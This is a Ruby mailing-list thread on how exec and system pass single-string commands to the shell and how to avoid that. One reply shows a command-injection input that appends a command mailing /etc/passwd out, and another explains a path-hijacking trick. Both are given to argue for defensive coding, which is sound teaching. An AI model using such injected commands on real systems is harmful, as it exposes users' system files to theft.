Ruby's Kernel::exec (and system and %x)

[JJ]

I was reading about Kernel::exec (and the related Kernel::system
function and %x operator).

These routines follow the Perl-ish idiom, which is "If there is one
argument, pass it to the shell; if there is more than one argument,
execute it directly". I call it the Perl-ish idiom simply because that
is the first place I saw this one-exec-routine-to-serve-them-all
behavior.

Now, there is a serious limitation to this, which exists on all
platforms that allow shell meta-characters in file names (space,
asterisk, etc). I usually come across the bug when running
applications on Windows. The problem is this:

exec("C:\\Program Files\\Anything\\Foo.exe");

Since this is a one-argument call to Kernel::exec, Ruby passes it to
the command interpreter, which tries to split the single argument on
shell meta-characters as it would for "echo *" or "ls -al". However,
"C:\\Program" is not the executable that we desire.

In Perl, one can force the no-shell-interpreter path by calling exec
(and system) like so:

my $cmd = "C:\\Program Files\\...";
exec( { $cmd } $cmd );

Is there any such option in Ruby?

-JJ

 

[Siep Korteling]

I was reading about Kernel::exec (and the related Kernel::system
function and %x operator).
(...)
Now, there is a serious limitation to this, which exists on all
platforms that allow shell meta-characters in file names (space,
asterisk, etc). I usually come across the bug when running
applications on Windows. The problem is this:

exec("C:\\Program Files\\Anything\\Foo.exe");


-JJ

Try this:

exec("C://Program Files/Anything/Foo.exe");

 

[Marc Heiler]

exec("C://Program Files/Anything/Foo.exe");

heya... you can omit the ; and even the ()

 

[JJ]

Try this:

exec("C://Program Files/Anything/Foo.exe");

The problem is not the slashes; the problem is how Ruby passes the
string to the operating system. Sorry, but this doesn't help.

-JJ

 

[Todd Benson]

exec("C:\\Program Files\\Anything\\Foo.exe");

Works just fine for me without the semicolon.

Since this is a one-argument call to Kernel::exec, Ruby passes it to
the command interpreter, which tries to split the single argument on
shell meta-characters as it would for "echo *" or "ls -al". However,
"C:\\Program" is not the executable that we desire.

In Perl, one can force the no-shell-interpreter path by calling exec
(and system) like so:

my $cmd = "C:\\Program Files\\...";
exec( { $cmd } $cmd );

Is there any such option in Ruby?

-JJ

I might not be understanding your situation, but on my windows system,
this works fine...

irb> s = "c:\\program files\\adobe\\acrobat 7.0\\reader\\acrord32.exe"
=> "c:\\program files\\adobe\\acrobat 7.0\\reader\\acrord32.exe"
irb> `#{s}`
=> ""

exec s also works but the irb process closes after that.

Todd

 

[Alex LeDonne]

I was reading about Kernel::exec (and the related Kernel::system
function and %x operator).

These routines follow the Perl-ish idiom, which is "If there is one
argument, pass it to the shell; if there is more than one argument,
execute it directly". I call it the Perl-ish idiom simply because that
is the first place I saw this one-exec-routine-to-serve-them-all
behavior.

Now, there is a serious limitation to this, which exists on all
platforms that allow shell meta-characters in file names (space,
asterisk, etc). I usually come across the bug when running
applications on Windows. The problem is this:

exec("C:\\Program Files\\Anything\\Foo.exe");

Since this is a one-argument call to Kernel::exec, Ruby passes it to
the command interpreter, which tries to split the single argument on
shell meta-characters as it would for "echo *" or "ls -al". However,
"C:\\Program" is not the executable that we desire.

In Perl, one can force the no-shell-interpreter path by calling exec
(and system) like so:

my $cmd = "C:\\Program Files\\...";
exec( { $cmd } $cmd );

Is there any such option in Ruby?

-JJ

Try this convolution:

exec('start "" "C:\Program Files\Anything\Foo.exe" ')

[Tested with exec and `` in irb and ruby -e'...']

Using "start" involves some special option parsing in the shell. This
only works with the one-argument form of the exec call, since "start"
is a shell built-in. You have to include the blank argument (window
title override - ignored (I think) when there's no interactive command
shell window).

I believe this works with any path permitted under Windows. AND, it
will work for other languages, including your Perl case above.

Here's a base document on Windows Shell's "Start" command:
http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/start.mspx?mfr=true

I hope this is handy for anyone used to a *nix platform, launching
executables, and wanting to go cross-platform to Windows.

-Alex

 

[Todd Benson]

Using "start" involves some special option parsing in the shell. This
only works with the one-argument form of the exec call, since "start"
is a shell built-in. You have to include the blank argument (window
title override - ignored (I think) when there's no interactive command
shell window).

I believe this works with any path permitted under Windows. AND, it
will work for other languages, including your Perl case above.

Here's a base document on Windows Shell's "Start" command:
http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/start.mspx?mfr=true

I hope this is handy for anyone used to a *nix platform, launching
executables, and wanting to go cross-platform to Windows.

-Alex

Just remember that there are length limitations on WinNT 4 servers for
those few that are still using them.

http://support.microsoft.com/kb/186613/en-us

Good Win command to remember though. I don't know if it's necessary, though.

Todd

 

[thefed]

So does giving the full file path automatically make it avoid the shell?

 

[thefed]

I might not be understanding your situation, but on my windows system,
this works fine...

The problem is that `` and system() make calls to the shell. He is
trying to NOT have a call to a shell.

 

[thefed]

We in the rubyunix project are currently working on this right now.
What you can you do just pass an empty string to exec, along with the
command. This causes it to skip the shell, and instead execute the
file directly. IE (for *nix),

fork { exec("ls", "") }

 

[Nobuyoshi Nakada]

Hi,

At Mon, 7 Jan 2008 05:14:59 +0900,
JJ wrote in [ruby-talk:286375]:

In Perl, one can force the no-shell-interpreter path by calling exec
(and system) like so:

my $cmd = "C:\\Program Files\\...";
exec( { $cmd } $cmd );

cmd = "C:/Program Files/..."
exec([cmd, cmd])

Citing from `ri exec':
If the first argument is a two-element array, the first
element is the command to be executed, and the second
argument is used as the +argv[0]+ value, which may show up
in process listings.

 

[Todd Benson]

The problem is that `` and system() make calls to the shell. He is
trying to NOT have a call to a shell.

Which I don't really see the reason for. I know I spouted off in
another thread about "standing on the shoulders of others", but I do
think it's alright to trust certain types of software. Point being...

Calls to a shell -- of your choice -- shouldn't be considered a bad thing.

Todd

 

[JJ]

Try this convolution:

exec('start "" "C:\Program Files\Anything\Foo.exe" ')

What a terrible idea. All I want to do is start a command directly
with no shell in the picture, from Ruby, in a cross-platform way, and
you suggest a Windows-specific workaround with a shell built-in?

I hope this is handy for anyone used to a *nix platform, launching executables, and wanting to go cross-platform to Windows.

I sincerely hope no serious programmer ever uses this suggestion on
Windows, *nix, or anywhere else.

The correct answer here is a simple call in Ruby that executes the
file directly without passing it to a shell interpreter.

-JJ

 

[JJ]

We in the rubyunix project are currently working on this right now.

What you can you do just pass an empty string to exec, along with the
command. This causes it to skip the shell, and instead execute the
file directly. IE (for *nix),

fork { exec("ls", "") }

This is a bad idea - an empty argument means something different from
no argument at all.

Try this if you don't believe me:

echo foo | cat
echo foo | cat ""

So no, adding an extra empty argument is not a good solution.

-JJ

 

[JJ]

The problem is that `` and system() make calls to the shell. He is

Which I don't really see the reason for. I know I spouted off in
another thread about "standing on the shoulders of others", but I do
think it's alright to trust certain types of software. Point being...

Calls to a shell -- of your choice -- shouldn't be considered a bad thing.

Calls to a shell are a VERY bad thing if used incorrectly.

Read up on all of the various security problems related to SQL
injection for a reason why someone who understands how a shell works
would want to avoid one.

Here is one example to get you going. Pretend that you have a program
called "tolower" and that program takes in a single argument as a
string. Pretend that this program simply prints the string to stdout,
with all upper case characters converted to lower case.

Now, pretend that you have to implement a routine that takes in a
string (from any input source - pretend it comes from a malicious
user) and passes it to "tolower".

The right answer (because it does not use the shell):

exec("tolower", str)

The wrong answer (because it uses the shell and doesn't escape
anything):

exec("tolower #{str}")

Not only is the first option faster (no shell is invoked), but it is
also safer. Imagine this:

str = "FOO; mail (e-mail address removed) < /etc/passwd"

What happens? In the first case, that exact string is passed to
"tolower" and "tolower" simply will print:

foo; mail (e-mail address removed) < /etc/passwd

but NOTHING will be executed that is malicious.

In the second example above, the shell is invoked to parse the
command, and your information is mailed out without your knowledge.
All "tolower" will see is "FOO".

The moral of the story is to avoid subs-hells whenever possible. If
you don't need one, don't use one. Explicitly code defensively to
avoid one. Your code will be faster and more correct and immune to
certain attacks.

-JJ

 

[JJ]

Hi,

At Mon, 7 Jan 2008 05:14:59 +0900,
JJ wrote in [ruby-talk:286375]:

In Perl, one can force the no-shell-interpreter path by calling exec
(and system) like so:

my $cmd = "C:\\Program Files\\...";
exec( { $cmd } $cmd );

cmd = "C:/Program Files/..."
exec([cmd, cmd])

Citing from `ri exec':
If the first argument is a two-element array, the first
element is the command to be executed, and the second
argument is used as the +argv[0]+ value, which may show up
in process listings.

Thank you. This executes the command directly and doesn't use a sub-
shell. This is exactly what I was looking for.

Thanks,

-JJ

 

[JJ]

exec("C:\\Program Files\\Anything\\Foo.exe");

Works just fine for me without the semicolon.

Works just fine with one too. Try to stay on topic.

I might not be understanding your situation, but on my windows system,
this works fine...

irb> s = "c:\\program files\\adobe\\acrobat 7.0\\reader\\acrord32.exe"
=> "c:\\program files\\adobe\\acrobat 7.0\\reader\\acrord32.exe"
irb> `#{s}`
=> ""

exec s also works but the irb process closes after that.

This works, but either Ruby or Windows is doing some magic here that
could be dangerous.

Consider this:

system("C:/Program Files/Internet Explorer/IEXPLORE.exe")

According to Ruby, that is passed to the shell for interpretation. But
if you type the same string in to cmd.exe, you can't run internet
explorer. This means that somewhere along the line, someone is
checking to see which part of the string is the program, regardless of
the spaces. I''m not sure who is doing the parsing (I'd have to check
the Ruby source and then the MSDN docs for the Windows API being
called) but regardless, this isn't the right answer.

Consider this logical next step:

system("C:/Program Files/Internet Explorer/IEXPLORE.exe http://www.ruby-lang.org")

How does the system know that the program ends at IEXPLORE.exe and the
arguments start at the next space? Someone is "checking" that each
space may or may not designate a program.

Still not convinced that this is hoakey and possibly dangerous? Then
copy Notepad.exe to C:\Program Files\Internet.exe and re-run the same
code again:

system("C:/Program Files/Internet Explorer/IEXPLORE.exe http://www.ruby-lang.org")

See how the behavior changed based on which part of the space-
separated path existed as a program? Now that "C:/Program Files/
Internet" is executable, it is run instead.

When the files on the system designate which executable is going to be
launched, there is a problem.

This is a dangerous way to program. The correct solution (given by
Nobuyoshi) is this:

cmd = "C:/Program Files/Internet Explorer/IEXPLORE.exe"
system([cmd, cmd], "http://www.google.com")

This avoids the sub-shell mess all together, regardless of whether "C:/
Program Files/Internet" is executable.

-JJ

 

[Gary Wright]

This is a dangerous way to program. The correct solution (given by
Nobuyoshi) is this:

cmd = "C:/Program Files/Internet Explorer/IEXPLORE.exe"
system([cmd, cmd], "http://www.google.com")

This avoids the sub-shell mess all together, regardless of whether
"C:/
Program Files/Internet" is executable.

I believe:

system(cmd, "http://www.google.com")

would also skip the shell entirely, since you are providing more than
one argument to system.

The problem is that when you don't want to pass any arguments to the
program you are left with a single argument to system (or exec),
which triggers the shell expansion algorithm. As you illustrated
with 'Program Files', this is a problem if your cmd path includes
characters that the shell is interested in (such as spaces). As
Nobuyoshi pointed out, the way out of that is to pass an array
instead of a single argument.

I just wanted to point out that if you are passing arguments to the
program you can use:

system(cmd, arg1, arg2)

instead of

system([cmd, cmd], arg1, arg2)

and still avoid the shell. Probably safer to use the second syntax
though since if
you are doing something like:

system(cmd, *args)

You may in fact end up passing just a single argument and invoke the
shell again.

Seems like a dodgy sort of design to me. I gather it comes from
trying to
merge system() and exec() from the C library, probably for systems that
don't have a concept of fork(). From JJ's post, I gather that Perl
might
be the source of this chimera.

Gary Wright

 

[JJ]

I believe:

system(cmd, "http://www.google.com")

would also skip the shell entirely, since you are providing more than
one argument to system.

Correct. It is only the one argument form that uses the shell.

Seems like a dodgy sort of design to me. I gather it comes from
trying to merge system() and exec() from the C library, probably for
systems that don't have a concept of fork(). From JJ's post, I gather
that Perl might be the source of this chimera.

I wish popular languages would think about these decisions. Two APIs
for this would be much better.

The first could be Kernel::exec, and would simply run the process
given. No shell interpretation would ever be done on the argument(s).
Give it one string, and that's the program it runs. Give it multiple
strings to pass multiple arguments.

In fact, I'm willing to bet that 99% of the time, one already has the
command and arguments separated into a list, and one rarely if ever
wants to use the one-argument-use-the-shell form of exec (or system).

A second routine, "Kernel::exec_cmd" let's call it, could take in
exactly one string, and would pass it through the platform's command
interpreter. This would be documented with all the ugly warnings that
are required so people don't write

exec_cmd( "ls #{user_input}" )

The confusion that could be cleared up by separating these out is a
big win I think. Another benefit is that the Unix implementation of
exec_cmd could simply be

exec( "/bin/sh", "-c", arg)

-JJ

 

[Gary Wright]

The first could be Kernel::exec, and would simply run the process
given. No shell interpretation would ever be done on the argument(s).
Give it one string, and that's the program it runs. Give it multiple
strings to pass multiple arguments.

Yes, but in the Unix/C world exec() replaces the existing program and
so exec() without fork() is a not-so-useful combination. For
whatever reason it came to pass that Kernel#exec on windows is
actually a Windows version of fork/exec making exec
non-portable.

A second routine, "Kernel::exec_cmd" let's call it, could take in
exactly one string, and would pass it through the platform's command
interpreter. This would be documented with all the ugly warnings that
are required so people don't write

You are describing "Kernel::system" without the funny two-element
array caveat.

I think a better partitioning of the problem would be:

fork/exec: craft what you need, only available on *nix systems
system: execute a command line via the command-interpreter
run: execute a program *without* using the command-interpreter

I just made up the name 'run'. I don't think there are standards
that specify such an interface, which is why exec/system have been
munged, I guess.

Gary Wright